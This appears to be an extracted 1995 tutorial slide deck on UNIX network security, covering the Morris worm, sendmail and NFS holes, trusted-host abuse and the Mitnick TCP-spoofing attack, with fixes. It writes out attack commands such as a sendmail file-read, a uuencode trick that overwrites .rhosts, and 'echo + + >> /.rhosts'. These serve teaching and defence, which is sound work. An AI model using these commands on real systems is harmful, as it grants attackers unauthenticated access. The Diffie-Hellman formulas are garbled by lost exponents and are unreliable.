Post on 23-Jul-2018
UNIX Security: Threats and Solutions from the NetworkSeptember 19, 1995 LISA `95
Matt BishopDepartment of Computer Science University of California at Davis Davis, CA 95616-8562phone (916) 752-8060 email bishop@cs.ucdavis.edu
The Internet Worm (1988)
Best estimates say it disabled 2,600 to 6,000 machines
* targeted Sun and VAX UNIX systems specifically
* traces found on other systems, but it did not function there; simply accessed
We'll describe how it worked in detail, since it is the best known network attack, and had the most far-reaching consequences (so far)
Infection
infected host host under attack
initial connection
"grappling hook"
ask for object files
get object files
compile and run
A worm on an infected host selects another host for infection, places on it a program called the "grappling hook", which it compiles and runs; the hook brings everything else over and links and runs it
What Happened
The worm was set up so that if it tried to infect an infected machine, either it or the resident worm would die
Problems:
* check skipped 1 out of 7 times, so worms immortal
* worms told to quit did so after doing quite a bit more work
* all history of machines infected by parents lost
Result:: most machines consumed by worm within 1-2 hours
The Spread
11/2, 6:00PM: worm believed placed on MIT machine
11/2, 6:24PM: first West Coast site infected
11/2, 7:04PM: UC Berkeley attacked
11/2, 7:54PM: UMD College Park attacked
11/2, 8:40PM: Berkeley figures out sendmail, trusted remote host; notices a finger problem; begins disabling those services
11/2, 8:49PM: U of Utah infected
11/2, 10:06PM: 100 active processes on main Utah CS machine;it is now unusable
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 6
The Spread (2)
11/2, 10:20PM: worms on Utah CS machine terminated
11/2, 10:41PM: worms again make Utah CS machine unusable
11/2, 10:49PM: Utah machine shut down and rebooted
11/2, 11:21PM: worms again make Utah CS machine unusable
11/2, 11:28PM: Peter Yee posts "we are under attack" message, advises turning off several services. He missed one (rexec).
Over 2,600 computers now infected.
The Spread (3)
100%
0% 6pm 8pm 10pm 12mid
time of infection v. pct. of infected computers infected
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 8
How To Get the Hook There
Four techniques tried simultaneously:
* the sendmail attack
* the trusted remote hosts attack
* the finger attack
* the dictionary attack
The sendmail Attack
Sendmail implements an electronic mail delivery protocol (Simple Mail Transfer Protocol, SMTP) with many extra features, among them:
* debug command allows command to be executed on remote host; not part of SMTP spec; used for debugging and development
Many sites, vendors did not disable this when shipping systems
The sendmail Attack (2)
Worm arranged to execute a command that would:
* delete header added by mail programs from the letter
* feed body to a command interpreter
* body instructed to command interpreter to:
* store a small (99 line) program in a file
* compile this program
* execute it (the grappling hook)
The Trusted Remote Host Attack
Berkeley UNIX network programs have a notion of "trusted host":
* if message is from a system listed in a database of trusted hosts (/etc/hosts.equiv), no additional authorization or authentication is needed
* if not, it obtains the user id from the message, and sees if the corresponding local user has listed the sending system in a private database of trusted hosts (.rhosts file in home directory); if so, no additional authorization or authentication is needed
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 12
The Trusted Remote Host Attack (2)
To find other computers to spread to, the worm
* tried all hosts in /etc/hosts.equiv
Whenever it guessed a user's password, or managed to connect to a system as a particular user, it:
* tried all hosts in the .rhosts file in that user's account
* tried all hosts in the mail forwarding file in that user's account (this was a shot in the dark)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 13
The finger Attack
Finger is an internet service which reads requests from network and returns information about who is using the host, and/or information about a particular user
The Berkeley implementation of the program that listened for requests expected input to be no more than 512 bytes; the input buffer was on the program stack (along with the return address of the main routine) and was not checked for array bounds overflow
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 14
The finger Attack (2)
The worm sent 536 bytes of input, most of which was machine code to invoke a command interpreter, and the last 24 (= 536 - 512) bytes of which overwrote the stack frame for the main routine, so when the input reading .
So, when the function returned from reading the input, it "returned" to the new routine which created a command interpreter that the worm could, and did, use to download, compile, and run the grappling hook
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 15
The finger Attack (3)
main local variables
return address of main
other return state info
gets local variables
parameter to gets
input buffer
main local variables
address of input buffer
other return state info
gets local variables
program to invoke shell program to invoke shell
after message
the usual stack the stack after the worm
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 16
The Dictionary Attack
Worm:
* scanned user database to get user names, corresponding hashes
For each user, it:
* tried different possible passwords (account name, account name reversed, first name, last name, short dictionary, etc.) using a speeded-up version of the hash algorithm
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 17
Defenses
Several:
* disconnect from network
Problem is that the network was the only source of information for a lot of people, and network mailing lists were created and used to discuss the worm
* disable finger, sendmail, and remove all .rhosts and host.equiv files
The first two were done quickly, and both have since been repaired (but older versions exist); use of trusted remote hosts tightened in most places
* hide hashed passwords
Shadow password files (in which hash is in a protected file, not a world-readable one) now common
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 18
SMTP and sendmail
UA
MTA MTA MTA
UA UA User Agents
Message Transfer Agents
sendmail, on UNIX systems
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 19
sendmail Holes
Be sure you have version 8.6.11
Earlier versions have known security holes!
Example:
sendmail is setuid to root on many systems. So to read any file:
sendmail -C target_file
and ignore error messages!
contact your vendor for this.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 20
Things to Check
*sendmail should not support the debug command:
% telnet host 25
... greeting message here ...
debug
500 Command Unrecognized
quit
This means you're okay. If you get anything else, it means you need to get a newer version of sendmail.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 21
Things to Check (2)
*sendmail should have the wiz command disabled: %telnet host 25 ...greeting message... wiz enter oh mighty wizard shell ...you now have a root shell running... To prevent this: look in the sendmail configuration file for a line of the form OW... Delete whatever follows the W and put a * in.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 22
Things to Check (3)
If there is a "decode" alias in the aliases file which runs the letter through uudecode(1), you have a security hole:
% cat x attackinghost attacker % uuencode /usr/victim/.rhosts < x | mail decode@victimhost % rlogin victimhost -l victim The decode alias runs the uudecode program as root, which allows it to "create" (overwrite) the named file.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 23
Things to Check (4)
Some (not all) versions allow appending to arbitrary files; try mailing a letter to a file, with the file named as recipient twice in a
To: filename
field. Then check the file.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 24
Things To Check (5)
Variant: try to embed a newline in the address
When sendmail checks for files and programs in the address, it checks only the first line of the address ... you get the idea
This was the one that caused the latest public outcry (8.6.10 fixed it)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 25
Recommendation
If an alias that executes a program is created:
make absolutely sure there is no way to obtain a shell, or send commands to a shell, or append to an arbitrary file, from those programs
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 26
Trusted Ports
Used to solve the masquerade problem for clients on UNIX machines:
only a root process may listen for, or originate, connections on a port with port number under 1024
If not, write a program to listen to port 23 (the telnet port) and spoof a telnet daemon to get user names and passwords
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 27
Problem
This is a UNIX convention, not one required by Internet standards.
Add an Ethernet board to a PC (or use any non UNIX machine, for that matter) and you can spoof UNIX network software by transmitting from a trusted port (or receiving packets sent to your machine on a trusted port)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 28
Trusted Hosts
Allows a system administrator or user to extend trust to another host in varying degrees:
* trust everyone on the host
* trust some set of users on that host
* trust a single user on that host
This means that authentication is not done for the trusted users connecting from the trusted host
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 29
hosts.equiv
list of hosts that the system administrator has declared are trusted
eleazar's file contains
bear.dartmouth.edu
hydra.riacs.edu
Then any user from either bear or hydra can log in without being authenticated further by eleazar (even if their encrypted password in "/etc/passwd" is set to an illegal value)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 30
Recommendation
the only hosts who should be named in "hosts.equiv" are:
* those hosts under the (physical) control of the system administrator; and
* those hosts not publicly available (ie, no workstation available for public use should be trusted)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 31
.rhosts file
navier chewy
outside
".rhosts" in holly's account on navier contains:
chewy matt
A per-user "hosts.equiv" file, it disables authentication whenever a login request for holly@navier comes from matt@chewy
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 32
Recommendation
Either ban them completely (you may need them for some administrative accounts and functions, but not for users), or place the same restrictions upon user choice of host as for "hosts.equiv"
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 33
Use of Trusted Host Files (rsh, rlogin, rcp) request from user U on host H to host L
U in L's pwd file
yes
no
U is superuser
no
yes
H (H U) in hosts.equiv on L yes
ALLOW
no H (H U) in ~U/.rhosts on L
ALLOW
yes
no what cmd
DENY unless no password
rcp,rsh
ask for password
rlogin
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 34
Identifying Users Remotely
ident protocol
* local host gets connection from port 1503 on host remote.com
* local host sends message to remote.com asking who is using port 1503 on remote.com
* remote.com responds with account name
* local host grants/denies access based on reported account identity
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 35
Problems with ident
Recommendation: don't use this unless the host you query is in /etc/hosts.equiv
* if remote.com's root is compromised, attacker can have ident daemon send whatever it wants
* daemon's message can be altered in transit
* association between account, user may be different at remote.com
* if used, use it only for logging and with knowledge it may be wrong
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 36
Dartmouth Attack
System Administrator noticed some unusual files on a disk.
* Files were executables taking up lots of room
* No-one admitted they were theirs, but had been modified recently - by a user with a disabled password!
* Checked for trusted host; no .rhost
* No logins on any host
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 37
What Happened
Clearly disk was being mounted. How?
* All systems were running NFS
* System addresses well known
Or you could get them from the DNS ...
Let's talk about NFS first
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 38
NFS
Originally a Sun Microsystems protocol for file servers, now rapidly becoming an industry standard.
Used to allow diskless workstations in offices and a central file server in the basement
As distributed, no security features enabled
* any host can mount any file system
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 39
Remote Mounting
sun200 sun202
Berkeley
WAN
bear
Dartmouth
/etc/exports lists file systems which can be remotely mounted.
If /etc/exports contains
/
/private/sun200
then bear can mount either.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 40
/etc/exports: Controlling Mounting
* Who can mount:
default: anyone
to restrict: use the -access option
/private/sun200 -access=sun202:...
means only sun202,... can mount that system.
Can also use netgroups:
/private/sun200 -access=localsuns
where localsuns is defined to contain sun202,...
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 41
/etc/exports: Warning
Note:
Some versions of NFS have a limited line length for this list, or a limited number, and if that limit is exceeded, will allow any host to mount the file system
Moral: Check your vendor patch list
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 42
/etc/exports: Access Modes
* Who can write the file system remotely, and who can only read it?
default: allow read/write access.
to force read-only access: use the -ro option:
/public/sun200 -ro
to restrict read/write access: use the -rw option:
/public/sun200 -rw=sun202,sun201,...
only sun202,sun201,... will be able to write to it; other hosts can only read it
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 43
/etc/exports: Unknown Users
* How to treat unknown users (remote root is unknown)
default: allow access, but remap effective UID into -2 (old version) or 65534 (new version).
to use another UID: use the anon option
/public/sun200 -anon=1234
means processes from unknown users (or from remote roots) will run with UID 1234.
to disable: set the UID to -1 (old version) or 65535 (new version); this disallows unknown users:
/public/sun200 -anon=-1
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 44
/etc/exports: Root Access
* Who can remotely access a file system as root:
default: no-one(remote root accesses mapped into another UID, usually -2 or 65534)
to allow: use the root option
/asroot/sun200 -root=sun202
means processes running as root on sun202 can will not have their UIDs remapped (and are not considered unknown users).
Cannot use netgroups here!
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 45
NFS Bug (Sometimes)
Note (signed) -2 is (unsigned) 65534 assuming a 16- bit two's complement representation
*NFS servers assume UIDs are 16 bits
But some systems have 32 bit UIDs What happens? Usually, truncation -- so UID 65536 is read as UID 0!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 46
/etc/exports: Disabling Setuid
* For which programs is the setuid bit honored?
default: honor it always.
to disallow setuid programs: use the -nosuid option:
/public/sun200 -nosuid
now the client will ignore the setuid bit when executing programs from the file system /public/sun200
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 47
Looking Around
How do you tell what you have mounted and how?
% mount
/dev/rz0a on / type ufs
/dev/rz0g on /usr type ufs
/dev/rz0h on /usr/local type ufs
sun001:/usr/new on /usr/new type nfs (rw,soft,bg)
sun002:/usr/people on /usr/people type nfs (rw,hard)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 48
Looking from the Server
How do you tell what you are exporting?
% exportfs
/usr -access=bradley,root=windsor
/export/swap/athena -access=athena,root=athena
/new -access=bradley:choate,root=zeus
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 49
Looking at the Server
How do you tell what it is exporting?
% showmount -e fs99
export list for fs99:
/usr bradley
/export/swap/athena athena
/new bradley,choate
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 50
Looking at the Server (2)
How do you tell what has actually been mounted and where?
% showmount -a fs99
athena:/export/swap/athena
athena:/new
athena:/usr
zeus:/new
zeus:/usr
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 51
Dartmouth Attack Redux
And that's what the Dartmouth Sysadmin did
* Turned out we weren't using the -access export control
NFS was new; he was learning ...
* Someone at Harvard was mounting it
No setuid programs involved
A call to the Harvard administrator ended the (human) problem; system fixed, also
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 52
Privileged Ports
NFS does not require requests to come from privileged ports (by default)
To make it do so add this to /etc/rc.local (SunOS 4):
rpc.mountd
echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem
or modify /etc/system (SunOS 5):
set nfs:nfs_portmon = 1 This does not prevent spoofing from PCs or privileged users
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 53
Forging Network Packets
Simply write a program to format the data correctly, and write it to the appropriate device
* typically need to be superuser or have write access to the device
* specifications for TCP and IP packets well known and widely available (get any reasonable book on networking!)
Note: some systems will correct bogus source information (eg. ULTRIX)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 54
An Example Attack
(This is the attack Mitnick launched on Shimomura)
Attack used:
* IP address spoofing
* TCP sequence number guessing
* trusted host access
Result: was able to rlogin to a very tightly secured system
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 55
How TCP Works
Establishing a connection uses a three-way handshake (here, X wants to talk to T): X -> T: SYN(NX)
T -> X: SYN(NT), ACK(NX)
X -> T: ACK(NT) Now they exchange data NX is a sequence number generated by X NT is a sequence number generated by T
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 56
The Attack
If intruder M wants to impersonate X, need to predict sequence number: then M -> T: SYN(NM) but says the source is X
T -> X: SYN(NT), ACK(NM) this can't make it
M -> T: ACK(NT) but says the source is X Now M can send T what it pleases, and T will believe it came from X
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 57
Sequence Number Guessing
On BSD-derived systems: sequence numbers incremented at a c onstant rate (128/sec on 4.2, 125,000/sec on 4.3) - Get the time for a round trip to the target - Observe one connection to get the sequence number - Assume short-term stability of round trip - Start guessing!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 58
Hiding the Evidence
M must prevent X from receiving T's acknowledgement (else X will send a RST, reset connection, to shut it down) - source route everything so it goes to M first, then to X (and simply don't forward it); bad as M's address is there - flood X's connections so it cannot receive anything; then the ACK is dropped; fine if you don't care about T's response - wait until X is down (use ping or netstat to figure this out)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 59
The Attack on Shimomura
* sequence of finger and other scans to see if any host used the trusted host mechanism
* large number of SYNs to server port 513; this fills the rlogin queue with requests to initiate a connection; note server sends acks, but as they are never responded to, queue stays full
Why? Now attacker can spoof server's IP address and any attempts to reply will be sent to server, which will discard them as the relevant queue is full
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 60
Now for the target ...
* try to connect to target's rsh port (as would rlogin); use some random source address (not the real one)
* about 20 such connections to determine behavior of initial sequence number generator (turns out each one is 128000 more than the previous)
* each one is shut down for incorrect sequence number, keeping queue clear
Now attacker has the way the initial sequence numbers are generated as well as a round trip time. To work!
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 61
Now the Connection
Assume: target trusts server (a` la Berkeley trusted hosts)
* send SYN packet with source given as server
* target sends ACK to server; it gets dropped
* send ACK using the predicted sequence number
You now have a one-way connection to target
Send:
rsh target "echo + + >> /.rhosts"
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 62
Apre`s nous, le De'luge
* close down bogus connection to target
* send RSTs to server to clear its rlogin connection queue
* rlogin to target as root
Have fun!
Unfortunately for the attacker, Tsutomu routinely logs all TCP packets off-line, and when the attacker deleted ome on-line logs, it was noticed and the attack reconstructed
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 63
Basis for NFS
This uses a service called "Remote Procedure Calls," or RPC
* many different designs
* NFS uses Sun's design
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 64
Remote Procedure Calls (RPC)
An interprocess communication mechanism usually used for intra-machine communication:
bear amelia
clientserver
portmap
register 1344
where to send?
send to 1344
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 65
Spoofing RPC
Two ways, one requiring cooperation of vendor:
* easy: if the supplied version of portmap will accept requests to register or delete services when:
* they come from remote hosts; or
* they refer to a trusted port and come from a connection originating at an untrusted port
just delete one service and add your own version
(note: Sun's version of portmap checks for these)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 66
Spoofing RPC (2)
* harder: if the supplied version of portmap rejects the above requests, replace a service with your own version that will do whatever you like
* harder as you will have to handle the original server
* simple if you can kill it in such a way it does not request deletion
If not root, you need to do this to a service on an untrusted port
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 67
RPC and Authentication
For Sun (and as the basis for NIS and the Network File System), two kinds:
* AUTH_UNIX
uses mechanisms from the operating system but not encryption
* AUTH_DES
uses encryption
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 68
AUTH_UNIX
Client sends:
* (UID, GID), GID1, ..., GID8
If UID is 0 then in all but one case the UID will be changed to -2, the nobody user
Problem: server believes the UID
* first attack: become root on a remote workstation, then su to anyone else and do your dirty deeds
* second attack: write a function to supply any UID and GIDs you like
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 69
Public Key Cryptography
different keys are used for encryption and decryption
C = E(ke, M) and M = D(kd, C)
Requires:
* given ke, it is "computationally infeasible" to obtain kd
* kd cannot be determined by a chosen plaintext attack (ie, given any set of known pairs (M, C), you cannot determine kd
ke is the public key, kd the private key
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 70
AUTH_DES
Authentication done using encryption:
* when you log in, your NIS record is obtained:
netname:KU:DES(p,ku)
netname uniquely identifies user (currently I'm 77.unix@csdept)
KU hex of your public key (Diffie-Hellman cryptosystem, based on calculation of discrete logs)
DES(p,ku) hex of your private key encrypted using your password
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 71
AUTH_DES (2)
* DES(p,ku) is decrypted and ku stored in /etc/ keystore or kept in keyserver process' memory
* a session key is then generated from ku and KS, the server's public key
* generate a random 56-bit conversation key, encrypt it with session key, send it to server
* Server uses KU and ks to decrypt conversation key
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 72
AUTH_DES in Pictures
NIS record know KU, KS use password to get ku
compute conversation key C = (KS, ku)
generate random session key T
append validator V DES(C, {T,V})
know KU, KS, ks
compute conversation key C = (KU, ks)
extract T extract V
if V is bad format, error; else all is well
workstation server
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 73
Why This Works
Based on a public key cryptosystem proposed for secrecy; 1976, by Diffie, Hellman, which relies on the complexity of computing logarithms over a finite Galois field GF(p), where p is prime; for large p, no quick method is known
Uses symmetric key exchange; two different users can derive a common interchange key without any prior communication
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 74
Getting the Keys
User generates a random number kpriv (private key) in [1,...,p-1]
User computes KPub = a mod p (public key)for some known a.
To send messages to Bob, Alice first computes an interchange key Kab as
Kab = KPubBob mod p
Note that Bob can also compute Kab, as
Kab = KPubAlice mod p
kpriv
kprivAlice
kprivBob
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 75
Example
Let a = 2 and p = 13.
Alice picks kprivAlice = 11; then
KPubAlice = 2 mod 13 = 2048 mod 13 = 7
Bob picks kprivBob = 9; then
KPubBob = 2 mod 13 = 512 mod 13 = 5
Their interchange key will be 8, and
5 mod 13 = 8 = 7 mod 13
11
9
11 9
workstation server
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 76
Implications
If messages make sense, then:
* the packet that arrived was encrypted using what the server believes is the conversation key
* to get that, it had to be encrypted using the session key
* which means the workstation knew ku
* which means the workstation had the user's password
Note no password is ever sent in the clear over the network
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 77
Use
Encrypt a user's (UID, GID), ... information and include it at the head of each packet
* also enclose a timestamp to prevent replay
Problem: clock drift
Solution: allow a "window" of 60 minutes in which packets are valid
* this is the default
* for security-sensitive applications, Sun recommends no more than 5 minutes
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 78
Logging In and Out
Two special programs:
* keylogin prompts you for your password, then loads your private key
Useful if you rlogin without needing to supply a password
* keylogout deletes your private key from the key server process' memory
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 79
How To Use Secure RPC
* Assign each user a public and private key in /etc/ publickey on the master NIS server
If a user does not have one, run newkey -u user to generate it as the superuser; use newkey -h host if the user is the superuser
* Start the keyserv program; best to do this from /etc/ rc.local. Of course, ypbind must be running too!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 80
Problems
* Performance penalty
The RPC authenticator must be decrypted on each packet. The DES is fast, though; the penalty is roughly 10%.
* Clients must be modified to use Secure RPC
A program must specify which form (none, DES, UNIX) of authentication it wants to use. The modification is trivial
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 81
Problems (2)
* The private key is resident on the system
If in /etc/keystore, anyone who gets superuser privileges (or who can read that file, or get a copy of it) can impersonate you. If in the keyserver's memory only, anyone who can read memory can get it. (More likely in this case: a Trojan horse)
* Strength of the cryptosystem
In 1989 it was shown how to calculate the private key given the public key (this is solving the discrete logarithm problem). The technique has not (as far as I know) been published yet, and works well only for small keys. Sun is working on a system using larger keys.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 82
Portmappers and NFS Mounts
Attack: ask the NFS server's portmapper to forward a request to the mount daemon
Result: it looks local, so access privileges of local host (not requester) are used
Fix: Run a portmapper (or rpcbind) that does not forward mount requests (or their ilk). Your vendor probably has a patch. Also see CERT Afdvisory 94:15, "NFS Vulnerabilities"
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 83
/etc/exports: Secure Access
* Should NFS use authentication to validate requests?
default: no
to force this: use the secure option
/security/sun200 -secure
means this file system will be exported using Secure NFS only
You also have to have the clients mount it as secure ...
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 84
/etc/fstab: Secure Access
* To have workstation sun201 mount /security/sun200 using Secure NFS, put secure in the options field of the appropriate line in /etc/fstab file
sun200:/security/sun200 /security nfs bg,intr 0 0
means regular NFS, and
sun200:/security/sun200 /security nfs bg,intr,secure 0 0
means using Secure NFS
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 85
Mounting Remotely
If you need to mount a file system at times other than booting, use mount(8)
Options:
secure assume secure NFS
suid honor setuid bits on the files
nosuid do not honor setuid bits on the files
Recommendation: unless there is a good reason to honor the setuid bits, mount it nosuid
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 86
Password Cracking
Goal: to get the file of password hashes
* One large site configured so all password file entries were stored on a server and information sent to other hosts when logged in
* How? Used "Network Information System" (NIS; then called "Yellow Pages" or YP) A large series of these attacks carried out over the past few years; sometimes password files found at sites with large computation facilities
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 87
Network Information Services
Formerly called "YP," it's a distributed database system allowing computers to share such information as password files, group files, host tables, etc. over a network.
* Files available everywhere, but stored on one host called the NIS server
* Can group users, hosts, and domains together for easy reference as a netgroup
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 88
Net Groups
Defined in /etc/netgroup (or NIS map):
netgroup hostname hostname hostname ...
The named netgroup refers to the named hosts
netgroup (host, user, domain) (host, user, domain) ...
The named netgroup refers to the sets specified
* domain refers to the domain in which the triple is valid so (,,domain) includes everyone and all hosts.
* if a field is empty, it matches any value
* if a field is "-" it matches no value
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 89
Example of Using the NIS
The following in the password file:
bishop:xyAbCdEfGgH:23:45:me!:/usr/bishop:/bincsh
+
After "bishop," the clients pull the rest of the password info from the NIS server
Advantage:
* you only need one central repository
* changes are automatically propagated
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 90
The "+" Feature (passwd)
This has 3 uses:
+ insert the contents of the NIS password file
+name insert the entry for name from the NIS password file; a non-null password, gecos, home, or shell field in the local password file overrides the NIS value
+@netgroup insert the entries for all members of netgroup
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 91
The "-" Feature (passwd)
This has 2 uses:
-name disallow subsequent entries for name (from both this file and the NIS password file)
-@netgroup disallow subsequent entries for members of netgroup (from both this file and the NIS password file)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 92
Example
The local password file has: root:.51ijLgvehlvC:0:10:The Boss:/:/bin/sh root can log in even when NIS is not working +mab: mab's NIS record is interpolated here +@students:no-login: no students can log in +::::Just Visiting anyone else can, but their GECOS is "Just Visiting"
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 93
Recommendation
Check the password file of all NIS machines, clients and servers, to be sure that the line with a "+" does not become this:
+::0:0:::
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 94
Quick Check
